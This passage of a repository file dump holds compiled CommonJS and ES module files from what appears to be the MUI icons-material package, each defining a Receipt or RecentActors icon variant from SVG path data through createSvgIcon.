    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 3.5 18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2v14H3v3c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V2zM19 19c0 .55-.45 1-1 1s-1-.45-1-1v-3H8V5h11z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 7h6v2H9zm7 0h2v2h-2zm-7 3h6v2H9zm7 0h2v2h-2z\"\n}, \"1\")], 'ReceiptLong');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptLongOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 3.5 18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2v14H3v3c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V2zM15 20H6c-.55 0-1-.45-1-1v-1h10zm4-1c0 .55-.45 1-1 1s-1-.45-1-1v-3H8V5h11z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 7h6v2H9zm7 0h2v2h-2zm-7 3h6v2H9zm7 0h2v2h-2z\"\n}, \"1\")], 'ReceiptLongOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptLongOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 3.5 18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2v14H3v3c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V2zM15 20H6c-.55 0-1-.45-1-1v-1h10zm4-1c0 .55-.45 1-1 1s-1-.45-1-1v-3H8V5h11z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 7h6v2H9zm7 0h2v2h-2zm-7 3h6v2H9zm7 0h2v2h-2z\"\n}, \"1\")], 'ReceiptLongOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptLongRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 9h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1m0 3h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 3.5 18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2v14H4c-.55 0-1 .45-1 1v2c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V2zM15 20H6c-.55 0-1-.45-1-1v-1h10zm4-1c0 .55-.45 1-1 1s-1-.45-1-1v-2c0-.55-.45-1-1-1H8V5h11z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"8\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"11\",\n  r: \"1\"\n}, \"3\")], 'ReceiptLongRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptLongRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 9h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1m0 3h-4c-.55 0-1-.45-1-1s.45-1 1-1h4c.55 0 1 .45 1 1s-.45 1-1 1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 3.5 18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2v14H4c-.55 0-1 .45-1 1v2c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V2zM15 20H6c-.55 0-1-.45-1-1v-1h10zm4-1c0 .55-.45 1-1 1s-1-.45-1-1v-2c0-.55-.45-1-1-1H8V5h11z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"8\",\n  r: \"1\"\n}, \"2\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"11\",\n  r: \"1\"\n}, \"3\")], 'ReceiptLongRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptLongSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 3.5 18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2v14H3v3c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V2zM15 20H6c-.55 0-1-.45-1-1v-1h10zm4-1c0 .55-.45 1-1 1s-1-.45-1-1v-3H8V5h11z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 7h6v2H9zm0 3h6v2H9zm7-3h2v2h-2zm0 3h2v2h-2z\"\n}, \"1\")], 'ReceiptLongSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptLongSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 3.5 18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2v14H3v3c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V2zM15 20H6c-.55 0-1-.45-1-1v-1h10zm4-1c0 .55-.45 1-1 1s-1-.45-1-1v-3H8V5h11z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 7h6v2H9zm0 3h6v2H9zm7-3h2v2h-2zm0 3h2v2h-2z\"\n}, \"1\")], 'ReceiptLongSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptLongTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 19c0 .55-.45 1-1 1s-1-.45-1-1v-3H8V5h11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 3.5 18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2v14H3v3c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V2zM19 19c0 .55-.45 1-1 1s-1-.45-1-1v-3H8V5h11z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 7h6v2H9zm7 0h2v2h-2zm-7 3h6v2H9zm7 0h2v2h-2z\"\n}, \"2\")], 'ReceiptLongTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptLongTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 19c0 .55-.45 1-1 1s-1-.45-1-1v-3H8V5h11z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 3.5 18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2v14H3v3c0 1.66 1.34 3 3 3h12c1.66 0 3-1.34 3-3V2zM19 19c0 .55-.45 1-1 1s-1-.45-1-1v-3H8V5h11z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 7h6v2H9zm7 0h2v2h-2zm-7 3h6v2H9zm7 0h2v2h-2z\"\n}, \"2\")], 'ReceiptLongTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 3.5 18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2 4.5 3.5 3 2v20l1.5-1.5L6 22l1.5-1.5L9 22l1.5-1.5L12 22l1.5-1.5L15 22l1.5-1.5L18 22l1.5-1.5L21 22V2zM19 19.09H5V4.91h14zM6 15h12v2H6zm0-4h12v2H6zm0-4h12v2H6z\"\n}), 'ReceiptOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 3.5 18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2 4.5 3.5 3 2v20l1.5-1.5L6 22l1.5-1.5L9 22l1.5-1.5L12 22l1.5-1.5L15 22l1.5-1.5L18 22l1.5-1.5L21 22V2zM19 19.09H5V4.91h14zM6 15h12v2H6zm0-4h12v2H6zm0-4h12v2H6z\"\n}), 'ReceiptOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 2.21c-.13 0-.26.05-.35.15l-.79.79c-.2.2-.51.2-.71 0l-.79-.79c-.2-.2-.51-.2-.71 0l-.79.79c-.2.2-.51.2-.71 0l-.79-.79c-.2-.2-.51-.2-.71 0l-.79.79c-.2.2-.51.2-.71 0l-.79-.79c-.2-.2-.51-.2-.71 0l-.79.79c-.2.2-.51.2-.71 0l-.8-.8c-.2-.2-.51-.2-.71 0l-.79.8c-.2.2-.51.2-.71 0l-.79-.8c-.2-.2-.51-.2-.71 0l-.79.8c-.2.2-.51.2-.71 0l-.79-.8c-.09-.09-.22-.14-.35-.14V21.8c.13 0 .26-.05.35-.15l.79-.79c.2-.2.51-.2.71 0l.79.79c.2.2.51.2.71 0l.79-.79c.2-.2.51-.2.71 0l.79.79c.2.2.51.2.71 0l.79-.79c.2-.2.51-.2.71 0l.79.79c.2.2.51.2.71 0l.79-.79c.2-.2.51-.2.71 0l.79.79c.2.2.51.2.71 0l.79-.79c.2-.2.51-.2.71 0l.79.79c.2.2.51.2.71 0l.79-.79c.2-.2.51-.2.71 0l.79.79c.1.1.23.15.35.15V2.21zM17 17H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-4H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-4H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'ReceiptRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 2.21c-.13 0-.26.05-.35.15l-.79.79c-.2.2-.51.2-.71 0l-.79-.79c-.2-.2-.51-.2-.71 0l-.79.79c-.2.2-.51.2-.71 0l-.79-.79c-.2-.2-.51-.2-.71 0l-.79.79c-.2.2-.51.2-.71 0l-.79-.79c-.2-.2-.51-.2-.71 0l-.79.79c-.2.2-.51.2-.71 0l-.8-.8c-.2-.2-.51-.2-.71 0l-.79.8c-.2.2-.51.2-.71 0l-.79-.8c-.2-.2-.51-.2-.71 0l-.79.8c-.2.2-.51.2-.71 0l-.79-.8c-.09-.09-.22-.14-.35-.14V21.8c.13 0 .26-.05.35-.15l.79-.79c.2-.2.51-.2.71 0l.79.79c.2.2.51.2.71 0l.79-.79c.2-.2.51-.2.71 0l.79.79c.2.2.51.2.71 0l.79-.79c.2-.2.51-.2.71 0l.79.79c.2.2.51.2.71 0l.79-.79c.2-.2.51-.2.71 0l.79.79c.2.2.51.2.71 0l.79-.79c.2-.2.51-.2.71 0l.79.79c.2.2.51.2.71 0l.79-.79c.2-.2.51-.2.71 0l.79.79c.1.1.23.15.35.15V2.21zM17 17H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-4H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1m0-4H7c-.55 0-1-.45-1-1s.45-1 1-1h10c.55 0 1 .45 1 1s-.45 1-1 1\"\n}), 'ReceiptRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 17H6v-2h12zm0-4H6v-2h12zm0-4H6V7h12zM3 22l1.5-1.5L6 22l1.5-1.5L9 22l1.5-1.5L12 22l1.5-1.5L15 22l1.5-1.5L18 22l1.5-1.5L21 22V2l-1.5 1.5L18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2 4.5 3.5 3 2z\"\n}), 'ReceiptSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 17H6v-2h12zm0-4H6v-2h12zm0-4H6V7h12zM3 22l1.5-1.5L6 22l1.5-1.5L9 22l1.5-1.5L12 22l1.5-1.5L15 22l1.5-1.5L18 22l1.5-1.5L21 22V2l-1.5 1.5L18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2 4.5 3.5 3 2z\"\n}), 'ReceiptSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19.09h14V4.91H5zM6 7h12v2H6zm0 4h12v2H6zm0 4h12v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19.5 3.5 18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2 4.5 3.5 3 2v20l1.5-1.5L6 22l1.5-1.5L9 22l1.5-1.5L12 22l1.5-1.5L15 22l1.5-1.5L18 22l1.5-1.5L21 22V2zM19 19.09H5V4.91h14zM6 15h12v2H6zm0-4h12v2H6zm0-4h12v2H6z\"\n}, \"1\")], 'ReceiptTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ReceiptTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19.09h14V4.91H5zM6 7h12v2H6zm0 4h12v2H6zm0 4h12v2H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19.5 3.5 18 2l-1.5 1.5L15 2l-1.5 1.5L12 2l-1.5 1.5L9 2 7.5 3.5 6 2 4.5 3.5 3 2v20l1.5-1.5L6 22l1.5-1.5L9 22l1.5-1.5L12 22l1.5-1.5L15 22l1.5-1.5L18 22l1.5-1.5L21 22V2zM19 19.09H5V4.91h14zM6 15h12v2H6zm0-4h12v2H6zm0-4h12v2H6z\"\n}, \"1\")], 'ReceiptTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecentActors.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5v14h2V5zm-4 14h2V5h-2zM14 5H2c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1M8 7.75c1.24 0 2.25 1.01 2.25 2.25S9.24 12.25 8 12.25 5.75 11.24 5.75 10 6.76 7.75 8 7.75M12.5 17h-9v-.75c0-1.5 3-2.25 4.5-2.25s4.5.75 4.5 2.25z\"\n}), 'RecentActors');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecentActors.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5v14h2V5zm-4 14h2V5h-2zM14 5H2c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1M8 7.75c1.24 0 2.25 1.01 2.25 2.25S9.24 12.25 8 12.25 5.75 11.24 5.75 10 6.76 7.75 8 7.75M12.5 17h-9v-.75c0-1.5 3-2.25 4.5-2.25s4.5.75 4.5 2.25z\"\n}), 'RecentActors');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecentActorsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5h2v14h-2zm-4 0h2v14h-2zm-3 0H2c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1m-1 12H3V7h10z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"9.94\",\n  r: \"1.95\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.89 15.35c0-1.3-2.59-1.95-3.89-1.95s-3.89.65-3.89 1.95V16h7.78z\"\n}, \"2\")], 'RecentActorsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecentActorsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5h2v14h-2zm-4 0h2v14h-2zm-3 0H2c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1m-1 12H3V7h10z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"9.94\",\n  r: \"1.95\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.89 15.35c0-1.3-2.59-1.95-3.89-1.95s-3.89.65-3.89 1.95V16h7.78z\"\n}, \"2\")], 'RecentActorsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecentActorsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 6v12c0 .55.45 1 1 1s1-.45 1-1V6c0-.55-.45-1-1-1s-1 .45-1 1m-3 13c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1s-1 .45-1 1v12c0 .55.45 1 1 1M14 5H2c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1M8 7.75c1.24 0 2.25 1.01 2.25 2.25S9.24 12.25 8 12.25 5.75 11.24 5.75 10 6.76 7.75 8 7.75M12.5 17h-9v-.75c0-1.5 3-2.25 4.5-2.25s4.5.75 4.5 2.25z\"\n}), 'RecentActorsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecentActorsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 6v12c0 .55.45 1 1 1s1-.45 1-1V6c0-.55-.45-1-1-1s-1 .45-1 1m-3 13c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1s-1 .45-1 1v12c0 .55.45 1 1 1M14 5H2c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h12c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1M8 7.75c1.24 0 2.25 1.01 2.25 2.25S9.24 12.25 8 12.25 5.75 11.24 5.75 10 6.76 7.75 8 7.75M12.5 17h-9v-.75c0-1.5 3-2.25 4.5-2.25s4.5.75 4.5 2.25z\"\n}), 'RecentActorsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecentActorsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5v14h2V5zm-4 14h2V5h-2zM15 5H1v14h14zM8 7.75c1.24 0 2.25 1.01 2.25 2.25S9.24 12.25 8 12.25 5.75 11.24 5.75 10 6.76 7.75 8 7.75M12.5 17h-9v-.75c0-1.5 3-2.25 4.5-2.25s4.5.75 4.5 2.25z\"\n}), 'RecentActorsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecentActorsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5v14h2V5zm-4 14h2V5h-2zM15 5H1v14h14zM8 7.75c1.24 0 2.25 1.01 2.25 2.25S9.24 12.25 8 12.25 5.75 11.24 5.75 10 6.76 7.75 8 7.75M12.5 17h-9v-.75c0-1.5 3-2.25 4.5-2.25s4.5.75 4.5 2.25z\"\n}), 'RecentActorsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecentActorsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13 7H3v10h10zM8 8c1.07 0 1.95.87 1.95 1.95 0 1.07-.87 1.95-1.95 1.95s-1.95-.87-1.95-1.95S6.93 8 8 8m3.89 8H4.11v-.65c0-1.3 2.59-1.95 3.89-1.95s3.89.65 3.89 1.95z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5h2v14h-2zm-4 0h2v14h-2zm-3 14c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1H2c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1zM3 7h10v10H3z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"8\",\n  cy: \"9.94\",\n  r: \"1.95\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 13.4c-1.3 0-3.89.65-3.89 1.95V16h7.78v-.65c0-1.3-2.59-1.95-3.89-1.95\"\n}, \"3\")], 'RecentActorsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/RecentActorsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13 7H3v10h10zM8 8c1.07 0 1.95.87 1.95 1.95 0 1.07-.87 1.95-1.95 1.95s-1.95-.87-1.95-1.95S6.93 8 8 8m3.89 8H4.11v-.65c0-1.3 2.59-1.95 3.89-1.95s3.89.65 3.89 1.95z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5h2v14h-2zm-4 0h2v14h-2zm-3 14c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1H2c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1zM3 7h10v10H3z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"8\",\n  cy: \"9.94\",\n  r: \"1.95\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 13.4c-1.3 0-3.89.65-3.89 